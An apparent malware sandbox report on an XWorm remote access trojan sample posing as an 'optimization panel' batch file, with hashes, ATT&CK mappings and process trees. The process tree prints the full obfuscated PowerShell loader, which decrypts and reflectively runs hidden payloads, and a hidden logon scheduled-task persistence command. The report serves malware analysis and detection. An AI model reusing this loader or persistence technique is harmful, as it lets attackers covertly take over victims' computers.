xworm | b0359c1018ab5d04e21ead075475b6866d48ed11ba8dbc9022f007d1bd2da2ef

Analysis

max time kernel
7s
max time network
17s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
13/06/2024, 01:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SpleenysOptimizationPanel.bat
Size 1.1MB
Sample240613-bvdc4ssgll
SHA256 b0359c1018ab5d04e21ead075475b6866d48ed11ba8dbc9022f007d1bd2da2ef
MD5 5f3a46a1712209c4e58fa99dd644ff8f
SHA1 23f16789e9182e556409dd9baf947ffc1009571f
SHA512 7ee0b67a994a72a75c60ab785655da574badad93939dc6540bdf294dd42e724cddf0bfc94cb05dcbabfe1381fd7cead736890005c084d24e11e6f741aa51f492
SSDEEP 24576:jQ0fWLaf/+d7V2gli2kC/RhLgZ8RXqZQGJeHIWzqNw5:jJ3M77fnLgZ8RXVoE
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2812-16-0x00000215B02F0000-0x00000215B0402000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2812	powershell.exe
4596	powershell.exe
3132	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2812	powershell.exe
2812	powershell.exe
4596	powershell.exe
4596	powershell.exe
3132	powershell.exe
3132	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeIncreaseQuotaPrivilege	4596	powershell.exe
Token: SeSecurityPrivilege	4596	powershell.exe
Token: SeTakeOwnershipPrivilege	4596	powershell.exe
Token: SeLoadDriverPrivilege	4596	powershell.exe
Token: SeSystemProfilePrivilege	4596	powershell.exe
Token: SeSystemtimePrivilege	4596	powershell.exe
Token: SeProfSingleProcessPrivilege	4596	powershell.exe
Token: SeIncBasePriorityPrivilege	4596	powershell.exe
Token: SeCreatePagefilePrivilege	4596	powershell.exe
Token: SeBackupPrivilege	4596	powershell.exe
Token: SeRestorePrivilege	4596	powershell.exe
Token: SeShutdownPrivilege	4596	powershell.exe
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeSystemEnvironmentPrivilege	4596	powershell.exe
Token: SeRemoteShutdownPrivilege	4596	powershell.exe
Token: SeUndockPrivilege	4596	powershell.exe
Token: SeManageVolumePrivilege	4596	powershell.exe
Token: 33	4596	powershell.exe
Token: 34	4596	powershell.exe
Token: 35	4596	powershell.exe
Token: 36	4596	powershell.exe
Token: SeIncreaseQuotaPrivilege	4596	powershell.exe
Token: SeSecurityPrivilege	4596	powershell.exe
Token: SeTakeOwnershipPrivilege	4596	powershell.exe
Token: SeLoadDriverPrivilege	4596	powershell.exe
Token: SeSystemProfilePrivilege	4596	powershell.exe
Token: SeSystemtimePrivilege	4596	powershell.exe
Token: SeProfSingleProcessPrivilege	4596	powershell.exe
Token: SeIncBasePriorityPrivilege	4596	powershell.exe
Token: SeCreatePagefilePrivilege	4596	powershell.exe
Token: SeBackupPrivilege	4596	powershell.exe
Token: SeRestorePrivilege	4596	powershell.exe
Token: SeShutdownPrivilege	4596	powershell.exe
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeSystemEnvironmentPrivilege	4596	powershell.exe
Token: SeRemoteShutdownPrivilege	4596	powershell.exe
Token: SeUndockPrivilege	4596	powershell.exe
Token: SeManageVolumePrivilege	4596	powershell.exe
Token: 33	4596	powershell.exe
Token: 34	4596	powershell.exe
Token: 35	4596	powershell.exe
Token: 36	4596	powershell.exe
Token: SeIncreaseQuotaPrivilege	4596	powershell.exe
Token: SeSecurityPrivilege	4596	powershell.exe
Token: SeTakeOwnershipPrivilege	4596	powershell.exe
Token: SeLoadDriverPrivilege	4596	powershell.exe
Token: SeSystemProfilePrivilege	4596	powershell.exe
Token: SeSystemtimePrivilege	4596	powershell.exe
Token: SeProfSingleProcessPrivilege	4596	powershell.exe
Token: SeIncBasePriorityPrivilege	4596	powershell.exe
Token: SeCreatePagefilePrivilege	4596	powershell.exe
Token: SeBackupPrivilege	4596	powershell.exe
Token: SeRestorePrivilege	4596	powershell.exe
Token: SeShutdownPrivilege	4596	powershell.exe
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeSystemEnvironmentPrivilege	4596	powershell.exe
Token: SeRemoteShutdownPrivilege	4596	powershell.exe
Token: SeUndockPrivilege	4596	powershell.exe
Token: SeManageVolumePrivilege	4596	powershell.exe
Token: 33	4596	powershell.exe
Token: 34	4596	powershell.exe
Token: 35	4596	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4536 wrote to memory of 1536	4536	cmd.exe	85
PID 4536 wrote to memory of 1536	4536	cmd.exe	85
PID 4536 wrote to memory of 2812	4536	cmd.exe	86
PID 4536 wrote to memory of 2812	4536	cmd.exe	86
PID 2812 wrote to memory of 4596	2812	powershell.exe	88
PID 2812 wrote to memory of 4596	2812	powershell.exe	88
PID 2812 wrote to memory of 2852	2812	powershell.exe	91
PID 2812 wrote to memory of 2852	2812	powershell.exe	91
PID 2852 wrote to memory of 4032	2852	WScript.exe	92
PID 2852 wrote to memory of 4032	2852	WScript.exe	92
PID 4032 wrote to memory of 4340	4032	cmd.exe	95
PID 4032 wrote to memory of 4340	4032	cmd.exe	95
PID 4032 wrote to memory of 3132	4032	cmd.exe	96
PID 4032 wrote to memory of 3132	4032	cmd.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizationPanel.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RidMGvr6PLJ5yftWUfWmoxOVKDOxqx5RRPt0bLzTEfc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O+igjiht9xQbulK8zzRJZQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SrOue=New-Object System.IO.MemoryStream(,$param_var); $OtVAb=New-Object System.IO.MemoryStream; $vWrRZ=New-Object System.IO.Compression.GZipStream($SrOue, [IO.Compression.CompressionMode]::Decompress); $vWrRZ.CopyTo($OtVAb); $vWrRZ.Dispose(); $SrOue.Dispose(); $OtVAb.Dispose(); $OtVAb.ToArray();}function execute_function($param_var,$param2_var){ $oXrWG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bBdVc=$oXrWG.EntryPoint; $bBdVc.Invoke($null, $param2_var);}$pMrVs = 'C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizationPanel.bat';$host.UI.RawUI.WindowTitle = $pMrVs;$orfmP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMrVs).Split([Environment]::NewLine);foreach ($XWbeO in $orfmP) { if ($XWbeO.StartsWith('lilsuawYCydygtZyEeYr')) { $tJIdw=$XWbeO.Substring(20); break; }}$payloads_var=[string[]]$tJIdw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_269_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4596
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4032
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RidMGvr6PLJ5yftWUfWmoxOVKDOxqx5RRPt0bLzTEfc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O+igjiht9xQbulK8zzRJZQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SrOue=New-Object System.IO.MemoryStream(,$param_var); $OtVAb=New-Object System.IO.MemoryStream; $vWrRZ=New-Object System.IO.Compression.GZipStream($SrOue, [IO.Compression.CompressionMode]::Decompress); $vWrRZ.CopyTo($OtVAb); $vWrRZ.Dispose(); $SrOue.Dispose(); $OtVAb.Dispose(); $OtVAb.ToArray();}function execute_function($param_var,$param2_var){ $oXrWG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bBdVc=$oXrWG.EntryPoint; $bBdVc.Invoke($null, $param2_var);}$pMrVs = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.bat';$host.UI.RawUI.WindowTitle = $pMrVs;$orfmP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMrVs).Split([Environment]::NewLine);foreach ($XWbeO in $orfmP) { if ($XWbeO.StartsWith('lilsuawYCydygtZyEeYr')) { $tJIdw=$XWbeO.Substring(20); break; }}$payloads_var=[string[]]$tJIdw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        
        PID:4340
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_raky0zi1.k20.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_raky0zi1.k20.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

$phantom-startup_str_269.bat

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.bat
Size 1.1MB
SHA256 b0359c1018ab5d04e21ead075475b6866d48ed11ba8dbc9022f007d1bd2da2ef
MD5 5f3a46a1712209c4e58fa99dd644ff8f
SHA1 23f16789e9182e556409dd9baf947ffc1009571f
SHA512 7ee0b67a994a72a75c60ab785655da574badad93939dc6540bdf294dd42e724cddf0bfc94cb05dcbabfe1381fd7cead736890005c084d24e11e6f741aa51f492
SSDEEP 24576:jQ0fWLaf/+d7V2gli2kC/RhLgZ8RXqZQGJeHIWzqNw5:jJ3M77fnLgZ8RXVoE
MD5 SHA1 SHA512 SSDEEP

Submit Download

$phantom-startup_str_269.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.vbs
Size 124B
SHA256 eb7278838011bb620d4b9cf9f95eaff4e7372c2c03ad29e4610e028c0f578773
MD5 89eabf6298abf860415ff7eb3d7b6be5
SHA1 6b7792b74a33604568773e776e35edfed4063e31
SHA512 8edea6d660cb6a8b0a9f171e1352291cd327eb7fb18b981c23367b23494af6e238430fd958edc0fd54dbe110e01362ded3bcda273712029654afe8435be3d7d2
MD5 SHA1 SHA512

Submit Download

memory/972-102-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/1260-105-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/1476-99-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/1780-108-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/1944-103-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/2004-98-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/2228-107-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/2456-110-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/2556-100-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/2684-104-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/2812-16-0x00000215B02F0000-0x00000215B0402000-memory.dmp

Download

memory/2812-14-0x00000215B0270000-0x00000215B02E6000-memory.dmp

Download

memory/2812-50-0x00007FF85B0B0000-0x00007FF85BB71000-memory.dmp

Download

memory/2812-6-0x00000215AFDB0000-0x00000215AFDD2000-memory.dmp

Download

memory/2812-11-0x00007FF85B0B0000-0x00007FF85BB71000-memory.dmp

Download

memory/2812-12-0x00007FF85B0B0000-0x00007FF85BB71000-memory.dmp

Download

memory/2812-13-0x00000215B01A0000-0x00000215B01E4000-memory.dmp

Download

memory/2812-0-0x00007FF85B0B3000-0x00007FF85B0B5000-memory.dmp

Download

memory/2812-15-0x00000215B0180000-0x00000215B0188000-memory.dmp

Download

memory/2928-109-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/3480-97-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/3480-51-0x00000000087D0000-0x00000000087FA000-memory.dmp

Download

memory/3664-106-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/4560-101-0x00007FF8394B0000-0x00007FF8394C0000-memory.dmp

Download

memory/4596-32-0x00007FF85B0B0000-0x00007FF85BB71000-memory.dmp

Download

memory/4596-18-0x00007FF85B0B0000-0x00007FF85BB71000-memory.dmp

Download

memory/4596-24-0x00007FF85B0B0000-0x00007FF85BB71000-memory.dmp

Download

memory/4596-25-0x00007FF85B0B0000-0x00007FF85BB71000-memory.dmp

Download